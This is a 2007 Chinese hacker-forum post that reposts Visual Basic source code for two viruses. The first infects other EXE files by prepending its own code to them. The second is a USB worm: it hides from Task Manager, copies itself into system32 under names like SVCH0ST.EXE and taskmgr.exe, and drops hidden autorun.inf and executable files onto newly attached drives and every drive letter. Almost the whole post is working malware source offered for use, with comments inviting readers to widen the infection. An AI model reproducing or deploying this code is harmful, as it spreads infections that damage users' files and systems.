Board logo

标题: [转载] VB的一个可以感染EXE的病毒原代码 以及一个病毒代码 [打印本页]

作者: chinanic    时间: 2007-8-17 19:32     标题: VB的一个可以感染EXE的病毒原代码 以及一个病毒代码

什么控件都不用加,直接输入以下代码就行了。
  1. Option Explicit
  2. Private Victim As String '要感染的文件的名字
  3. Private HostLen As Long '要感染的文件的大小
  4. Private vbArray() As Byte '病毒的代码
  5. Private hArray() As Byte '要感染的文件的代码
  6. Private lenght As Long
  7. Private MySize As Integer '病毒的大小

  8. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  9. Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
  10. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  11. Private iResult As Long
  12. Private hProg As Long
  13. Private idProg As Long
  14. Private iExit As Long
  15. Const STILL_ACTIVE As Long = &H103
  16. Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

  17. Private Sub form_Initialize()
  18. Dim i As Long
  19. On Error GoTo vbVerror '出错处理

  20. '原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
  21. Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
  22. As #1
  23. ReDim MyArray(LOF(1) - 1)
  24. MySize = LOF(1)
  25. ReDim vbArray(MySize)
  26. Get #1, 1, vbArray
  27. Close #1
  28. '这是在读自己的代码


  29. Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
  30. While Victim <> ""

  31. If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
  32. Open App.Path & "\" & Victim For Binary Access Read As #1
  33. ReDim hArray(LOF(1))
  34. Get #1, 1, hArray
  35. Close #1
  36. '读出病毒自身的代码


  37. If hArray(&H69) <> &H4D Then

  38. i = hArray(&H3C)
  39. If hArray(i) = &H50 Then
  40. Open App.Path & "\" & Victim For Binary Access Write As #1
  41. Put #1, , vbArray
  42. Put #1, MySize, hArray
  43. Close #1
  44. End If '要保证被感染的不是空文件(不是圈套)
  45. End If
  46. End If
  47. '读出准备被感染的文件的代码

  48. Victim = Dir() 'Next

  49. Wend

  50. '下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。

  51. Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
  52. lenght = LOF(1) - MySize
  53. If lenght <> 0 Then
  54. ReDim vbArray(lenght - 1)
  55. Get #1, MySize, vbArray
  56. Close #1

  57. Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
  58. Put #1, , vbArray
  59. Close #1


  60. idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
  61. hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
  62. GetExitCodeProcess hProg, iExit
  63. Do While iExit = STILL_ACTIVE
  64. DoEvents
  65. GetExitCodeProcess hProg, iExit
  66. Loop
  67. Kill App.Path & "\" & App.EXEName & ".eve"

  68. Else
  69. Close #1

  70. End If

  71. End

  72. vbVerror: '出错处理,空着就可以了

  73. .........................................................................................................................................

  74. '       为了让本程序更简单!
  75. '       我没有用到API
  76. '       全部使用VB自带函数来完成!
  77. '原理:
  78. '     每个电脑上都有一个硬盘和一个光驱或者有N个分驱
  79. '     这些分驱相对来说,不会经常消失!
  80. '     只有U盘或MP3接上后会多出一个,当拿走时会减少一个!
  81. '     所以,在程序运行时,先备份电脑上当前的驱动器数量!
  82. '     当发现加或减时就能确定是不是移动设备!
  83. '     正进行传播,因为题目要求,只传播U盘,加上自动运行文件!
  84. '     就不用改写里面的文件!
  85. ' 要是没有看懂我的程序前,请不要运行!死了别怪我!
  86. '----------------代码--------------------------


  87. Dim num, nums '驱动器数
  88. Dim i As Integer '文件号
  89. Dim j As Integer 'FOR用的变量!
  90. Private Sub Form_Load() '程序初始化!
  91. '不准重复运行本病毒!
  92. If App.PrevInstance Then
  93.      End
  94. End If
  95. '在任务管理器中隐身!
  96. App.TaskVisible = False
  97. '病毒自我保护函数
  98. a0
  99. auts
  100. '得到当前驱动器数!
  101. a2
  102. '设置时间:为5000 MS 检查一次(5秒)
  103. t1.Interval = 5000
  104. t1.Enabled = True
  105. End Sub
  106. Sub a0() '病毒自我保护函数
  107. Dim temp As String
  108. Dim temp2 As String
  109. On Error Resume Next
  110. temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
  111. '得到系统目录!得到后,自我复制到SYSTEM32下!
  112. For j = 0 To aa.ListCount - 1
  113.      temp2 = Trim(aa.List(j)) & "\windows"
  114.      If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
  115.          temp2 = Trim(aa.List(j)) & "\WINNT"
  116.          If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
  117.              GoTo zz1
  118.          Else
  119.              FileCopy temp, Trim(aa.List(j)) & "\winnt\system32\SVCH0ST.EXE"
  120.              FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\taskmgr.exe"
  121.              FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\dllcache\taskmgr.exe"
  122.          End If
  123.      Else
  124.          FileCopy temp, Trim(aa.List(j)) & "\windows\system32\SVCH0ST.EXE"
  125.          FileCopy temp, Trim(aa.List(j)) & "\windows\system32\taskmgr.exe"
  126.          FileCopy temp, Trim(aa.List(j)) & "\windows\system32\dllcache\taskmgr.exe"
  127.          FileCopy temp, Trim(aa.List(j)) & "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
  128.      End If
  129. zz1:
  130. Next
  131. End Sub
  132. Sub a1()   '感染函数
  133. Dim temp As String
  134. Dim temp2 As String
  135. temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
  136. For j = nums + 1 To num
  137.      temp2 = Trim(aa.List(j)) & "\auto.exe"
  138.      FileCopy temp, temp2
  139.      i = FreeFile
  140.      Open Trim(aa.List(j)) & "\autorun.inf" For Output As #i
  141.          Print #i, "[Autorun]"
  142.          Print #i, "open=auto.exe"
  143.      Close #i
  144.      SetAttr Trim(aa.List(j)) & "\autorun.inf", vbHidden
  145.      SetAttr Trim(aa.List(j)) & "\auto.exe", vbHidden
  146. Next
  147. End Sub
  148. Sub a2() '得到当前驱动器数!
  149.      num = aa.ListCount - 1
  150.      If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
  151.          i = FreeFile
  152.          Open "c:\.a" For Output As #i
  153.              Print #i, num
  154.          Close #i
  155.      End If
  156. End Sub
  157. Private Sub t1_Timer() '时间函数
  158.      num = aa.ListCount - 1
  159.      i = FreeFile
  160.      Open "c:\.a" For Input As #i
  161.          Line Input #i, nums
  162.      Close #i
  163.      nums = Trim(nums)
  164.      nums = Int(nums)
  165.      If num <> nums Then
  166.          If num > nums Then
  167.              a1
  168.          End If
  169.          If num < nums Then
  170.              i = FreeFile
  171.              Open "c:\.a" For Output As #i
  172.                  Print #i, num
  173.              Close #i
  174.          End If
  175.      End If
  176.      aa.Refresh
  177. End Sub
  178. Sub bat() '写自我删除程序
  179. On Error Resume Next
  180. i = FreeFile
  181. Open App.Path & "\killme.bat" For Output As #i
  182. Print #i, "@echo off"
  183. Print #i, "sleep 1000"
  184. Print #i, "del " & App.EXEName + ".exe"
  185. Print #i, "del killme.bat"
  186. Print #i, "cls"
  187. Print #i, "exit"
  188. Close #i
  189. Shell App.Path & "\killme.bat", vbHide
  190. End
  191. End Sub
  192. Sub auts() '自我感染全驱动器
  193. On Error GoTo err1
  194. Dim file_temp As String
  195. i = FreeFile
  196. Open "c:\autorun.inf" For Output As #i
  197. Print #i, "[Autorun]"
  198. Print #i, "open=autorun.exe"
  199. Close #i
  200. file_temp = Trim(App.Path & "\" & App.EXEName & ".exe")
  201. FileCopy file_temp, "c:\autorun.exe"
  202. SetAttr "c:\autorun.inf", vbHidden
  203. SetAttr "c:\autorun.exe", vbHidden
  204. Dim dirid As Integer
  205. For dirid = 100 To 122
  206.      MsgBox Chr(dirid)
  207.      FileCopy "c:\autorun.exe", Chr(dirid) & ":\autorun.exe"
  208.      FileCopy "c:\autorun.inf", Chr(dirid) & ":\autorun.inf"
  209.      SetAttr Chr(dirid) & ":\autorun.inf", vbHidden
  210.      SetAttr Chr(dirid) & " :\autorun.exe", vbHidden
  211. Next
  212. err1:
  213. End Sub
复制代码





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2